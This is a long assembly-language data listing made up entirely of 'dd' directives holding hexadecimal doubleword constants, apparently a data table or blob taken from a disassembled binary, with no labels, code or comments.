dd 0CA5E9B5Dh, 585A2BC0h, 101FEDF7h, 0ED4B33DEh, 8825E8D4h
dd 3ECA3C3h, 0A0C1A045h, 0C6571D19h, 0F97CE061h, 0E521333Ch
dd 0ED9BC85h, 87145E00h, 94929D3Eh, 6302904h, 90971B9Ah
dd 288BF07Bh, 0BACDDD52h, 7A9D75BAh, 0E0B43B27h, 326FE697h
dd 8ACFBDC6h, 99DAF3EDh, 10D42C44h, 0B7E029A7h, 0D8D6D0E1h
dd 0AB961C34h, 991003D8h, 0EB6A0AC4h, 5BE12C82h, 3A1205DEh
dd 34CFD341h, 56E3F224h, 9DF84313h, 700F0D90h, 0C4232308h
dd 6A0A7B25h, 0C2EC359h, 0AF62666Ah, 1E4AD5A9h, 466E61EEh
dd 5D4F59C4h, 0AE438E8Fh, 0DB956A3Bh, 9A1FAA01h, 9E69CA5Eh
dd 0FD71066Ch, 9D523119h, 39D47053h, 703819A2h, 0F29929FCh
dd 9AF3DEE5h, 79BDCE55h, 2529FD88h, 3B0D396h, 8BB685F2h
dd 0D9B12C5Fh, 7296832Fh, 39880DC2h, 0EA5A537Bh, 293D0936h
dd 1515F8Bh, 7B2F4825h, 31F6746Fh, 808E5626h, 14DE56B4h
dd 0A47DC99Bh, 1AC4B44Ah, 0BDA5844Ch, 0B39FCF1Eh, 0EA3865C4h
dd 0F70A31DEh, 0D1D65555h, 5DEAA2EAh, 0F8ECCA14h, 35CFCBF1h
dd 64854165h, 3768F4A9h, 704BCD4Ch, 0A6D051A3h, 5A992BFh
dd 4CAC2E21h, 10D5E001h, 0CBD1650h, 64EF6506h, 181E8E07h
dd 0FBC609D1h, 4DE7A00Ch, 415F5F14h, 0F04B3F13h, 0EE1F14FDh
dd 1A5D9EE2h, 747014D4h, 6D43C784h, 0BE07142Eh, 6395C35Fh
dd 28BC57BEh, 6399C180h, 30ADD601h, 5F107DA9h, 0BB766A21h
dd 69FEFDF4h, 0B73E5FE0h, 0D1443C4Bh, 6AAF1D95h, 0CEB027FEh
dd 42FE87A7h, 0C133D06Fh, 54D69F8Ah, 7F5010C9h, 4CB4DE23h
dd 0C06913F1h, 9DF698DCh, 5DC925C8h, 2D1CDC9h, 0F6804EB0h
dd 0D537DE33h, 0D78EEB1Dh, 3084129Eh, 8ABFDE92h, 2598C3DEh
dd 185363A6h, 68C12918h, 0DA76499Bh, 0A49B4CDFh, 0BD26D7FFh
dd 0E9EC1094h, 3F446741h, 17D50327h, 0FF9B79DBh, 2A267ADh
dd 0BB66A31h, 0AF112F92h, 0D8352773h, 1BDEF1E5h, 0DEF8B641h
dd 0B7C08403h, 91A13B07h, 0D9754BBCh, 0A4244101h, 2BBE3177h
dd 9BE00C8Ch, 0D4391E7Bh, 90054BE3h, 0B52EA859h, 49530C05h
dd 9DD2DB4h, 0B43A3DD5h, 0E8715E03h, 2187DE98h, 0FD38C019h
dd 7183DFD3h, 3510A39Ch, 0BAD7CB7h, 0F7C52357h, 16F843D3h
dd 61FF6682h, 3CFAA698h, 73D4A8AFh, 0A23D0D91h, 0F9C47CCDh
dd 0B0A90D1Fh, 1088774h, 0F2C3BBB3h, 0F656D84Ah, 76DD0DCEh
dd 3B9EB2EEh, 4AE8374h, 4FC2EB09h, 0B475AF9Fh, 0BC2B476h
dd 0D9DC571Ah, 67332F3Bh, 3A08A6FAh, 0D44A8045h, 71DA2A2h
dd 0B6420876h, 0D0DA815Ah, 0F2FA72F5h, 32134D30h, 879142A1h
dd 80A682F8h, 28A334BBh, 0E0A6F006h, 91B2B101h, 6CBC6F0Eh
dd 0CF0CBD96h, 69DC11FAh, 0D064E525h, 14ACBF3Eh, 1078225Ah
dd 6C295E44h, 0CCE28C1h, 522F5B8Ch, 73B01475h, 66E8AE4Eh
dd 3EB41E08h, 77B53C8Ah, 5FE69AEh, 3FDD5F74h, 0CC4C94A5h
dd 3160F2AFh, 0AC6C1891h, 68EDD50Dh, 22D886FFh, 9784AD45h
dd 0B1C98B2h, 802BB0E4h, 0D2ED650h, 307A70F0h, 14592E44h
dd 0D59B8113h, 6C8C4AF9h, 235F3ABFh, 559372A2h, 16DAA876h
dd 7767A601h, 64F79965h, 0F2D9EBC9h, 4FF9A1F1h, 8E5C4FC3h
dd 68EB2CBDh, 0DC5876FBh, 0D57A38EAh, 6CFA52EFh, 9E4C4FD4h
dd 81A95887h, 47E7DFF3h, 0EEAA318Fh, 97E52CF1h, 0ED5E2CADh
dd 0AAD19948h, 0BFC34FFAh, 0C54634E6h, 3C1E5717h, 0DE4731A2h
dd 35B0675Ah, 7B3698B3h, 85F81439h, 0A592FB61h, 0B7AB316h
dd 0FC089E75h, 1F85AE62h
dd 8BD38AEh, 1413367Eh, 539A658Ah, 257F1DF6h, 0A2422AFEh
dd 0DECCC11Bh, 4C92386Eh, 3F3139E9h, 0BA9FECD9h, 0ED8D36E4h
dd 0D4FE56B8h, 0DCF74373h, 69F744D2h, 453230EEh, 46551A5Eh
dd 64667E61h, 6B712552h, 99846016h, 70719C96h, 26666C3Bh
dd 10B4FE0Ah, 6E230617h, 734AF238h, 616A5805h, 10CFAB11h
dd 3F3B4260h, 20E25E9Bh, 8E5120DBh, 584BA898h, 1904C484h
dd 9861BBFEh, 891EAB14h, 0DF5BD2C5h, 0A5F151B5h, 2CF98D74h
dd 0EE50A0D3h, 7FCC44EDh, 84EFC42Fh, 428C8D0h, 9C764434h
dd 0E54F6115h, 0D4FBF3EEh, 908C248Bh, 7AE8546Eh, 0CAF78F06h
dd 81987BA7h, 62A931D7h, 1178B080h, 0DF63576Ah, 0C779CF1Ch
dd 3EF39679h, 2512DB95h, 0E0C4C152h, 6E6357A4h, 147FEB0Bh
dd 424FC129h, 0B575F244h, 334D83BEh, 0A8F0FBB8h, 0DC1D42E1h
dd 2642BD93h, 0CF1ECA80h, 62131970h, 16EB429Dh, 15F4904h
dd 7A8E18A1h, 27CD1BF2h, 0DDA7C163h, 50CD33ADh, 5537FFC2h
dd 0E3502DB2h, 28B47BCCh, 0AB87B49Fh, 0FBDD680Dh, 0F4608BBFh
dd 37C6A90Eh, 30560550h, 4D931F31h, 99C1FEBFh, 0E6EBD30Fh
dd 4B6FE4C5h, 214A52BCh, 0A9AA2E59h, 2D69103Eh, 642F6053h
dd 0F71D0687h, 4BF1A1FFh, 7C2F05BBh, 1AF32FF6h, 2FDC354Ah
dd 7B6A5A38h, 0CFA8843h, 24322EFAh, 95F115C0h, 94853B92h
dd 2AD62E3h, 79057B28h, 0FDAFB6DFh, 0C64F54Ch, 0E36A2D18h
dd 972AEC15h, 61DDE5C9h, 8D2F1A87h, 7246C12Ah, 8927D455h
dd 91F58684h, 0EB0A7085h, 29A37C9Ah, 1925B20Bh, 1A734FA4h
dd 94E47D0Eh, 0E9E5DAD2h, 844F6F7Eh, 0AC1F57CDh, 9F108785h
dd 0F4BD606Bh, 7F1D3812h, 0FA8D4C6Fh, 395F9654h, 4EBEBAD8h
dd 99B5F65h, 0A9614143h, 0ED7AB631h, 0C9E174E6h, 6CC83394h
dd 0A0EE6A6Bh, 40746E15h, 46DE714Ch, 0CD43C729h, 0A271FEE2h
dd 3C763A0Eh, 66EB6E3Ch, 0AB0BD8DCh, 5C18340Ch, 0D545409Bh
dd 9E36690Bh, 80B810C6h, 3F673F85h, 71D9E945h, 0B8476F6Dh
dd 2E563ADEh, 0DCB927F0h, 447B3DA4h, 8C724089h, 0D30B0819h
dd 0C79D06B5h, 1D4F0129h, 9B8732DDh, 3A83C3AAh, 0E4848DB8h
dd 0DA1BF2BDh, 0B3D21E08h, 93B90765h, 81645B6Ch, 68A3E70h
dd 68FDD22Ch, 6BBBBCB2h, 9FAB0BD8h, 4C41C4F0h, 600AF4C8h
dd 31696DC9h, 29E6ED33h, 54E1A701h, 7442B827h, 535D354Bh
dd 0E70CA8F1h, 0C64E3014h, 0C0FCDA54h, 158838CDh, 8284BE97h
dd 94E3013Fh, 7B5A1AEDh, 8824CDFEh, 0A8525FC9h, 0D18B322Dh
dd 65A156CBh, 69E423C5h, 4E9171FEh, 0D430B73Ah, 4813E554h
dd 296B20Eh, 0ECB9B8CEh, 0CEBF7BE2h, 6ACBB7CDh, 4D1237D7h
dd 2A497CD0h, 5A0FAA13h, 0C7E5AC74h, 7A653F48h, 0FA524324h
dd 3763E20Bh, 78F64DD7h, 5B164B9Ah, 45084757h, 25785EAFh
dd 3247D7AFh, 77B28128h, 0B030EE9Bh, 4BC72AEAh, 0EEDB2154h
dd 9FCCC939h, 64C2A6FFh, 2AF61C05h, 40ADE0D8h, 8F58B86Fh
dd 626B3D22h, 0AF6B1FEEh, 2AEB2C0h, 5324E10Eh, 6E3BC1CEh
dd 5AE86E9Ch, 0BDF92AA9h, 0F9DF23A6h, 7E796AC9h, 0BF8AA6B8h
dd 54941C77h, 3EE69099h, 45ECA63Ch, 0E460C917h, 7BAC295Fh
dd 3387F749h, 90F71547h, 11DF57A1h, 8FD49C6Eh, 228D8017h
dd 0EEB831DFh, 8F6CEB91h, 5F2C8149h, 3E93C3B1h, 9511A9F6h
dd 0E8E832B1h, 0F521A8Ah, 6737EFAEh, 446D33C1h, 65945AB7h
dd 0E98C5250h, 0AE4AECEAh, 674130EDh, 0EF123267h, 17DA40Ch
dd 0B8A309A1h, 598EF04Fh, 491B5C42h, 4F5EB6E0h, 0AA7BB222h
dd 80C7B9BCh, 0FC1D5930h, 6803A73Ch, 65DEBBEFh, 153E4F57h
dd 342148F4h, 920BB14Dh, 0ECD9D11Ch, 0B09C3D97h, 59C0CE69h
dd 0F40378DDh, 4E27D54Dh, 0EF364B7Dh, 57D3C550h, 0DD4C0233h
dd 655B7F5Eh, 991890FDh, 6DD40655h, 1614C4Dh, 0E2DADEEFh
dd 0E7F51212h, 5A4033CBh, 0DA096AEAh, 0A097E0BDh, 5E651A48h
dd 0BCC9E676h, 3D694774h, 0F1B96C1Eh, 0C52DFC74h, 857D1D8Ah
dd 76FA6660h, 1C02C686h, 2CFBB019h, 5C5BC299h, 79DACCDEh
dd 6ACDF6EDh, 95899655h, 2515BA7h, 477BA3A7h, 0D094DED5h
dd 0CCF11DA3h, 2ABFF24Fh, 5722052Ah, 0DC590182h, 0B3554E36h
dd 0AF7154A3h, 30CDD217h, 79DFB73h, 0F5C4B37h, 0D312314Fh
dd 9290BBFDh, 0E88B5270h, 3E4F302Ah, 84BA3F9h, 1FFB24C7h
dd 0D6AA4318h, 8846BBC9h, 152295C2h, 0C5A0A63Eh, 8D7C83E2h
dd 0A8602BCAh, 0CFC5727Dh, 0F8DD3D2Fh, 919D3137h, 0C1429B33h
dd 0D3CE9752h, 98B0F372h, 0A73B192Bh, 5C5AF2B9h, 2C63DEB8h
dd 90712771h, 0B036A3F1h, 7C6F7B6Bh, 0B123230h, 2F7794C0h
dd 0D0888199h, 1DC260Ch, 3ECBF35Ch, 0E49852F8h, 39B47D1h
dd 53D584C4h, 0D86F6C58h, 7484FEE6h, 0E2169B9h, 0D3AEA7BAh
dd 0F1D3D8BEh, 0A3722A1Eh, 0CED225B9h, 0D7CB252Dh, 728EF455h
dd 0F8BFC909h, 8250B731h, 3427F1D1h, 98BC4D18h, 845191A9h
dd 42E90E99h, 8107BAAEh, 0B84E0268h, 0A5535347h, 1F833D9Fh
dd 0E926ABAFh, 0D3FF2BDDh, 95876ADFh, 72964240h, 5FAB5F0Bh
dd 1707D17Fh, 5798FD2Bh, 0B925A3ACh, 0EF15DF65h, 33C237A1h
dd 9E153C48h, 74C4E745h, 0B63EA21Ah, 0F10D106Ah, 29DAC154h
dd 0E8C9F328h, 359A6F9Ah, 24FE99F9h, 0BF35D15Eh, 87D76252h
dd 0C709FEA3h, 0CE3FE672h, 525869C6h, 103AC72Eh, 0B5D309CBh
dd 3032C5CAh, 0BE70AE92h, 0C34613C6h, 4558470Ch, 427582C8h
dd 0E50CB27h, 63C915D8h, 0CF93BD70h, 0A4BB5954h, 0A134C582h
dd 82CF8C75h, 8648BB13h, 0FAAB3A06h, 80C65004h, 0ED09E5FFh
dd 1DB69292h, 17FB6EBDh, 0C9FA0EEAh, 0E9EB8C1Ch, 55E26A54h
dd 8F573FA0h, 9DE2B702h, 2093C6FBh, 7DA1D055h, 0BE3B93B0h
dd 0E81C817Dh, 697E6921h, 0D09358A4h, 49A870DDh, 53F28166h
dd 201CE51Ah, 5C0AB116h, 8BEF83A6h, 929AEB47h, 0EB4D3569h
dd 3ED3FD06h, 0EA449413h, 2C2E4598h, 0B36599A4h, 0EB10832Dh
dd 0D32FF4C8h, 0D9BD805Ah, 0FBC7CC79h, 6837BF35h, 5C5FB01Dh
dd 4A18D201h, 8A41546Ch, 754791B8h, 0FF35EED0h, 0D6F66AE5h
dd 0B3A003ABh, 0E60BA623h, 0FC0C6020h, 33F03944h, 0B6945BCBh
dd 0F3A77CD5h, 0E0559E40h, 6D458120h, 76CEEF72h, 0EA342160h
dd 705053EEh, 8D305593h, 9889E96Eh, 6FFAF5FDh, 0ECF42CB9h
dd 48A9D23Dh, 65B38181h, 85E8E730h, 0E1F4A83Ch, 1D983133h
dd 0DD6FCA79h, 4113A229h, 0E0EE2D7Fh, 243DBE9h, 0C1D01D88h
dd 0D34BB8FAh, 0DED95DB9h, 804B77E8h, 0B928787Ah, 0AB60B69Bh
dd 33221E7Dh, 341D07BBh, 0FF91C49Ch, 0AF6677A8h, 8CAD07FBh
dd 0C394B697h, 4F66BD2Fh, 0AD4AA364h, 0C44AD2C9h, 58D60E27h
dd 579E514Fh, 87CD9BCCh, 0DF9DEE99h, 0CF2D2777h, 234798C5h
dd 328FD662h, 0CAED4851h, 718B1DD6h, 7E03D239h, 0A00E49B2h
dd 37588F5Ch, 0E8A89247h, 3F30DEAFh, 975357CAh, 0F4C40733h
dd 105C478Fh, 9242F7EBh, 8556ED69h, 4AC6AB58h, 70AA59BCh
dd 3938E90Ch, 0ECDF0589h, 0C646DC43h, 42F9A192h, 0E4F5B3DAh
dd 5151203Dh, 7F95DEAAh, 77E78C40h, 49BF1111h, 0A0DB2384h
dd 73CCC9EAh, 0FF35C8BDh, 6047DE2Ah, 775BCB56h, 9A8F7142h
dd 0E73FD7B8h, 9CCB61E6h, 9E6AD4D6h, 0AF0BD04Eh, 9EB85C6Ah
dd 0AB963FADh, 817982ECh, 0AD6CC3E8h, 0E4ADA6E9h, 0CF586C47h
dd 816AFAD2h, 3F9D5998h, 599E4805h, 347A3A8Ah, 3AAA6791h
dd 0A710C3C3h, 749C9110h
dd 45804B52h, 0BF0A5721h, 4C8A9FCh, 0AD4DC2C1h, 0CF1263D7h
dd 247CD21Bh, 0A7F470D1h, 0EC894506h, 1E1EAF32h, 2424CA0Ah
dd 60E0580Bh, 97866228h, 567C05FEh, 0E7CF2EFBh, 447957EFh
dd 777C372Ch, 0CDA21581h, 57453D61h, 32A459F5h, 53F16926h
dd 0C78BFD6Ah, 7A4DB55Ch, 552CE658h, 0B4F7031Fh, 8194BED0h
dd 95DC1F2Fh, 22FA7C5Ah, 16B76F65h, 1728F2B2h, 0F9A91F9Dh
dd 501AA6B4h, 0A04B763h, 0A94A71F4h, 0FAA46411h, 5A6AB40Ah
dd 35C48762h, 8E31D677h, 67773CF5h, 0D33426C4h, 0A2E62C92h
dd 11136246h, 1FED814Ch, 0BDFC0E3h, 0BEF48470h, 4FD725CFh
dd 101ED122h, 0E637BDBAh, 3F58EC3Bh, 98722C0Eh, 0F8271493h
dd 0A9790489h, 4679CBD8h, 3CB3BC56h, 0E0B7C6E4h, 0EDA9A02Bh
dd 0EE71A52Ch, 94418C4Eh, 87054D03h, 0C3A93272h, 0A4A35AEEh
dd 0A229C572h, 0CA07B4Bh, 0B043C05Bh, 56038F5Eh, 0A8C482CAh
dd 828E9E23h, 0E0B6754Fh, 63F7915Bh, 0C2189FA4h, 0EC709AFEh
dd 6BF4A2B1h, 0B4EE8435h, 649A34ECh, 0A8DA804Ah, 0FFB5819Ah
dd 0EB319CF7h, 0B3AACF40h, 3BE70FE3h, 0E5305C2Ch, 0D8F5BC98h
dd 273DF7FDh, 10A91C41h, 40C6DE0h, 7B13E965h, 0AE67A8FDh
dd 0D86F5138h, 135E708Dh, 1E5F13C7h, 2DC6F001h, 9257CACEh
dd 18B1AB64h, 0FA1714FDh, 39B97223h, 0C23DB4D3h, 0DFFD358Eh
dd 0B5D6DAA0h, 47078E5Ch, 1F895BA7h, 70A45694h, 0A680EE36h
dd 0C10F1EA5h, 0A8DB8CD6h, 0BC93D4E8h, 9FE3664h, 0D97C436Bh
dd 580B6F49h, 0E21F06A9h, 0F56EE5FAh, 8E8165E2h, 1F535232h
dd 32AC5819h, 83186907h, 0A985713Ah, 0C13B2A5Fh, 8DDF7724h
dd 0F26B320Dh, 52E0FEAFh, 528BD099h, 9E535038h, 13FEA156h
dd 0CFD1B4FEh, 0E54606ABh, 0C5825C01h, 872C8DB1h, 7026449Dh
dd 0CB397C8Dh, 0EC442847h, 3DBEF5BAh, 0AC15764Ah, 97D20CF7h
dd 0BCF55FA5h, 1DEB0B0Dh, 36C8AD59h, 1D6DE9B1h, 0E20EE10h
dd 52AC23F9h, 80224212h, 552D92Ch, 40FC8C6h, 2DBCCF0Ch
dd 8060A705h, 0FF745817h, 58601704h, 874C427Dh, 0A88A9055h
dd 0E16F9D24h, 93E0535Fh, 6FA52663h, 354FC4DBh, 73AD7698h
dd 0C489C712h, 4AC69F4Dh, 0D04387C5h, 5809786Bh, 0AA2B431Eh
dd 1F027F99h, 0F835264Ch, 3D878D84h, 0B588E942h, 1D845853h
dd 98D64A7Ch, 9766AF66h, 406BC994h, 10E5652h, 0DD1E5AADh
dd 0A47E0B6Ah, 0CD83C984h, 537C03ACh, 1730FF16h, 7B45B951h
dd 505671A5h, 1DF8D5B4h, 2A5417EEh, 8BC52DDEh, 0EB2E711Fh
dd 840A4519h, 1585EE7Bh, 7022E39Fh, 6742F1FDh, 0AD9B672Ch
dd 0A0019C82h, 0F1798347h, 2E97120Eh, 779132ABh, 3AE8305Fh
dd 0A105FECDh, 0C1128A3Dh, 14F26580h, 0F7DCBCF2h, 987D93CAh
dd 6D63909Ch, 336060CEh, 0CFBFC5E3h, 804158B2h, 7E49D88Eh
dd 0EA05359Ch, 530E7A3Eh, 516F6E4h, 2B2AC67Bh, 77D66A7Ch
dd 0BA3C1904h, 7912F29Fh, 0EA09D824h, 538C1E31h, 8F0BA20Dh
dd 41C92C37h, 4F8ED420h, 4FF7FE87h, 36233D6Dh, 77D89400h
dd 9245BA1Fh, 8DF4D07Ah, 1D663C5h, 580D7652h, 0B13560D2h
dd 9F429E53h, 57D56B81h, 0E33E68EAh, 49B7690Dh, 0F289BA12h
dd 44BCC969h, 4F4EF64Ah, 0D3BDFCA9h, 56BEE947h, 21DDFC71h
dd 7F627D95h, 0B1A06B15h, 79BE7B48h, 0C9D2A9Eh, 93541430h
dd 510A3BFh, 0F18EB540h, 48E2294Bh, 6E9C5A65h, 0CEC47D37h
dd 914AFED3h, 999CA9C9h, 0F44447E0h, 15E72121h, 1DBE9C65h
dd 4C1C3D73h, 0F08D2CBh, 89C934F5h, 0EB2E89E5h, 0AAC2D101h
dd 0D2CFE621h, 0C1FEAA93h, 540C31BEh, 79809A80h, 63D41E6Ch
dd 49E835BEh, 4B98D728h, 8976EE72h, 98DE6625h, 0C5364253h
dd 42460B51h, 0B245FF69h, 0F8C66110h, 0B4C1A248h, 81C50C0Ah
dd 5397C570h, 0A614DFA1h, 5CF924DEh, 7EABE3F2h, 71E2244h
dd 63025B0Ch, 0FBF65E2Fh, 0AD8152FBh, 55B5B468h, 9B506E8h
dd 8DA7CC1Eh, 8F39FB20h, 0A3A2EED5h, 0D03116D1h, 48989D05h
dd 0B2DACABh, 133A2AF4h, 4932A5h, 90E3C8FAh, 0E3A3491Fh
dd 0A46FBF1Eh, 81CEDF21h, 7CEE78A6h, 1033A07Ch, 9928BA95h
dd 9303DF41h, 3C16E901h, 0C25CF848h, 0F1F60132h, 5ADA74AFh
dd 324DB37Fh, 5F8E084Ch, 0DB5CC826h, 3BF39224h, 4262AFA3h
dd 0F52F41BFh, 0B0385C6Bh, 0BBF8A151h, 0E9BDFEBh, 6DD58FBh
dd 0A4F2BEABh, 0B818F8BDh, 769B4CEh, 0CF4F24FDh, 0FCCA5CC8h
dd 0B418C056h, 81419F3Ah, 0A45102D0h, 5623008Ch, 13ACC894h
dd 0B85AFEE7h, 0C68D76D3h, 0CE3877D7h, 9CAAB2C4h, 0DAEBCA60h
dd 9ACF8442h, 0F67F0955h, 3706C5CCh, 0F5297EF7h, 67C5B4E4h
dd 2C91BEBAh, 0FE6C4E0Fh, 0C21ECD95h, 4F43451Bh, 0F7095A53h
dd 0B576836h, 81DEAF20h, 0E7AD5C7Ch, 0A34341CDh, 5A89FF60h
dd 44922EE3h, 814B56A6h, 0C40C641Fh, 21AA5271h, 5E7B6D88h
dd 0BA93E8DCh, 512CF1B0h, 58ACF23Eh, 7A8CC7A7h, 69E079A3h
dd 0C0241A1Ah, 2919D8EEh, 0DD0C2460h, 0C82464C2h, 2D29B3BCh
dd 2C2EB9E4h, 0A7C1A3BDh, 8B4E4782h, 0CCC5117h, 0AAB03C93h
dd 0F6D8D38Ch, 0D7F17100h, 27F1BEBEh, 8388A47Fh, 0AEAC8DF8h
dd 526A6A4Dh, 0A35885CCh, 217AC8E5h, 4478FBBEh, 2D513DF9h
dd 5500012Fh, 4A5A38FEh, 5CEE39Bh, 9DE2CBB0h, 0F72643BCh
dd 3DF96DA0h, 0E5C3FFE0h, 5CB1E1E6h, 37E64EC1h, 0EB1B727Ch
dd 0C330E675h, 0BD2321DFh, 6486E57Ch, 5166D008h, 47561C58h
dd 9BF7ED5Ah, 7BC29093h, 0A7D0706Dh, 66720A4Dh, 798AAEDAh
dd 1D416EBFh, 1479D02Ah, 68B4B9E2h, 0FD8D782Bh, 1750C6FEh
dd 84EE5657h, 82256AD9h, 0B9D2D0CCh, 642AE605h, 1B5489EDh
dd 4F6A0C45h, 0F616FF96h, 201FD58h, 7F04E7A1h, 0A1CD5D1Bh
dd 71DF5651h, 914ED3D3h, 0F890A9B0h, 0EE152BF3h, 437A06CFh
dd 9E1555Fh, 929BA627h, 3148DEB0h, 0F29C9ABFh, 27D009C4h
dd 0A74E1DAAh, 2DF602ACh, 0F7B244DDh, 4B9521E7h, 0E48E4BAEh
dd 0C86F3E46h, 9D8450BFh, 0E6E14577h, 1BB56CF7h, 0A0B89CC4h
dd 0FA1DF04Ch, 280302BCh, 0A7ABA835h, 786D40BAh, 2B334C45h
dd 35C8FBC6h, 0FEDD4119h, 65B85523h, 0BAA88CE2h, 0D118A706h
dd 7F982330h, 0D662D797h, 0A6F89946h, 0C72D1A34h, 4780C4C9h
dd 8BAB9083h, 7A87E151h, 925D1C63h, 0C075098Dh, 0E1370DD7h
dd 69DD6C72h, 0D24D1C8Ch, 859BC6EEh, 4EB5F1Dh, 0BEB5D8CAh
dd 3C0AFC78h, 0C88C807Ch, 60BA738Eh, 59A46CD5h, 806C0FAh
dd 65F62AC3h, 164D88D3h, 35FC7DF3h, 0F98C0A77h, 4735343Ch
dd 8FB69324h, 0E6279EA0h, 442BA94Dh, 4984E735h, 0CBAC2CB1h
dd 73818B29h, 0C1157BB5h, 2A58683h, 0D4B90F87h, 0C68398C5h
dd 182C994Eh, 3F0DA0B7h, 39B43491h, 91F2555Eh, 319701Ah
dd 4BFBA746h, 0E933CFAFh, 55B12210h, 3A3878C4h, 321D9E92h
dd 42459DEDh, 2FEB9A0Bh, 1CCADB60h, 2BC8D98Dh, 4B580606h
dd 39CF2173h, 8C7D9EA3h, 52ACE3C9h, 29E3FBB3h, 0F2EE524Ah
dd 0EC528A0Ch, 0F65CE16Ch, 8BFA1AE7h, 69A276D9h, 77866EE6h
dd 2269234Ch, 80221175h, 76499348h, 7FA7ED92h, 58441B88h
dd 0E372A2Eh, 0B5BCE930h, 1E29E006h, 7922737h, 0A3677F82h
dd 52182D12h, 0E0AB4674h, 0ECC6D07h, 42B647B4h, 0F1143C46h
dd 85147FEEh, 0FCD1EA92h, 7F960659h, 0C9E12F6Fh, 0A96386FEh
dd 4316B877h, 7AD19181h, 55C7C2BEh, 0BCE4BD04h, 3D24C316h
dd 99D8E0CFh, 55895172h
dd 590EEBB5h, 0B5787C70h, 22A118A7h, 879718C3h, 740B58FDh
dd 7CE5AEF8h, 2E362BABh, 34A501CCh, 0A3DDA025h, 6A0F374Ah
dd 4C20728Ch, 86877BEDh, 843C4CF7h, 0CC43436Ch, 3143F32Dh
dd 35ECE7E1h, 2F43156h, 127EEC5Eh, 9147B591h, 0C8B9A675h
dd 2B7EB383h, 81386D9Ah, 0D68D794Eh, 31753D55h, 5A004947h
dd 5645580Ah, 85D7183Ah, 0EC86A35Bh, 60467E4Ah, 0D8AA0C44h
dd 0C445989Bh, 64089289h, 2E017FDBh, 7D1CA1A7h, 6A119081h
dd 1B482C81h, 4A6EF151h, 56F9A8A6h, 7EDF961h, 0A67964B6h
dd 87772437h, 0BDAFBE1Bh, 2286A0E7h, 58F876B2h, 0A33D3804h
dd 0A8059E41h, 313C3720h, 0C8061A10h, 637F0B54h, 0FCB49812h
dd 14AD9BFFh, 0E4BC5F70h, 55914A16h, 695E5E38h, 6757925Ch
dd 0E48944F5h, 5B13B30h, 9EBFEE68h, 431AE0C4h, 0F286E316h
dd 50B4A9FEh, 9C0F9EB1h, 0C1D64192h, 21AC8094h, 0F3E6938Bh
dd 0A7C24C7Fh, 0F9129D88h, 769A66CCh, 0AFF6A0DAh, 0A25A47F9h
dd 8DE8FB45h, 0AF5A1A94h, 455305C1h, 9E8F66A9h, 0E3F24CB4h
dd 9448BF18h, 0A7DE8397h, 0F83223E7h, 9A246269h, 4707B99Ch
dd 36AFB04Bh, 0D387DA3Bh, 8AB46A3Dh, 39C79147h, 5CA118F5h
dd 1486745Eh, 3E982D59h, 0F2C1FB82h, 0EC85EDCFh, 118EEF5Ch
dd 0DA2BAC51h, 0ED2CC699h, 98151F22h, 51306A7Ah, 516589A1h
dd 0A4D483DCh, 4B43985Fh, 44F550A2h, 3E39B565h, 846F8A1Dh
dd 20FE7888h, 0BA99F639h, 445E29D2h, 9363BDF8h, 0EC3481DDh
dd 743098F1h, 0A0AFE380h, 1ECAE56Bh, 17397696h, 0D09ED11Eh
dd 0CB71F078h, 7DD4E269h, 362EA862h, 257B8424h, 5439C873h
dd 0A74A96BCh, 0A5B93562h, 8F7DE542h, 451A279Bh, 0DFA5CBh
dd 5A38E856h, 9A69AA95h, 35EAF493h, 63D7E7C1h, 84A20DC6h
dd 2EB11131h, 0E4F9F6AAh, 4CC7C0AFh, 6E6C38B6h, 7647A901h
dd 50BF4126h, 0CE092280h, 0C455C64h, 4537A28Eh, 0B71BB077h
dd 0B14278Eh, 2C074D35h, 42CB68ACh, 0EBA59810h, 0E785E3F8h
dd 892F12C3h, 1C4F5CC0h, 81FC92B7h, 6D79D022h, 977B4FC7h
dd 3D28619Eh, 6C2760F1h, 750FB9C3h, 88977B21h, 7383E5BCh
dd 42F3E930h, 7C1F85EDh, 0F1194C1Eh, 0C0603A80h, 0FD3AEE3Eh
dd 8ADB9035h, 0B4CAC155h, 0F3722DC3h, 0FCFD196Bh, 0F6E2855Fh
dd 2D40387Ah, 0C13DC6F2h, 0A415FFEEh, 8A319F0Ch, 199EC780h
dd 9EEF2B35h, 7C89A0Dh, 51FC6D1Ah, 0ADD4C217h, 0FCF2077Fh
dd 0BF4755CCh, 0F3C36DA9h, 377A2175h, 4CB5DC44h, 0CFB0F114h
dd 31B12B4Dh, 635A2C63h, 0AB4708EEh, 9DF34081h, 0BBC18BA7h
dd 0E9CEE81Dh, 682243A6h, 0F84270CAh, 7AE1C98Ch, 5AF5B1F6h
dd 621B0Ch, 1D8B8FFBh, 9A98987Ch, 1BDC8211h, 0E51A0AF4h
dd 0A64A7407h, 8FF357C7h, 4FF387FAh, 0FED6FAA4h, 77DC54AEh
dd 0B31D61F9h, 1653FDB2h, 4FA767CFh, 0E6C413D3h, 0BC9E2AD3h
dd 7A4C134Eh, 0DA96A21h, 979210ECh, 0C7AEF027h, 0A7BFD5AAh
dd 0FC27869h, 1561143Eh, 2104FD10h, 0A83C4736h, 8D601EDBh
dd 0FA6BC318h, 638D4E9h, 5D6A1202h, 4E06C443h, 0BDAE1284h
dd 0FBDB202Ah, 5CC9B666h, 4E67A785h, 0F85F7002h, 0B1A61F40h
dd 28AACFBCh, 22C5AB37h, 0B65B33CEh, 0FAE4A978h, 2D5CB367h
dd 3DE4512h, 0DF9CBEFDh, 6F1E0145h, 75620F12h, 0ECF3EDE1h
dd 0CFDEF5CBh, 62EBDAA9h, 0C7672BD8h, 413CDBEFh, 9BEDCEB2h
dd 0E25A574Bh, 84068623h, 954802C6h, 0DF3A1328h, 0A41B7D5Bh
dd 3FD3B04Ch, 0BFC4DFF8h, 0D1AB7B10h, 8134383Ch, 37561BB3h
dd 93FA5291h, 2D945195h, 6371F801h, 0C6CB7BDFh, 0A32F1B22h
dd 0E875B63h, 778BAEEDh, 7E97AD5Ah, 636CE6DBh, 38EEE77h
dd 2FC9CEE6h, 0AB2143D6h, 2E16AE0Fh, 0BDE9DDF6h, 179B885Bh
dd 32E0F792h, 77ABFD2Eh, 0E12391D3h, 7F024121h, 0C9D9A64Bh
dd 8FAB4A2Fh, 2056D65Fh, 551A1205h, 0DC16458Bh, 1202E209h
dd 0CF043E03h, 0D19DAB26h, 11E35898h, 2171E269h, 3FE757E1h
dd 0B31C517h, 3132818Ch, 0CA9623E5h, 0EC0C19E8h, 8195CFFBh
dd 0B36E083Bh, 0B8BF698Ch, 0B67E7EDDh, 8E17505h, 20177A9Eh
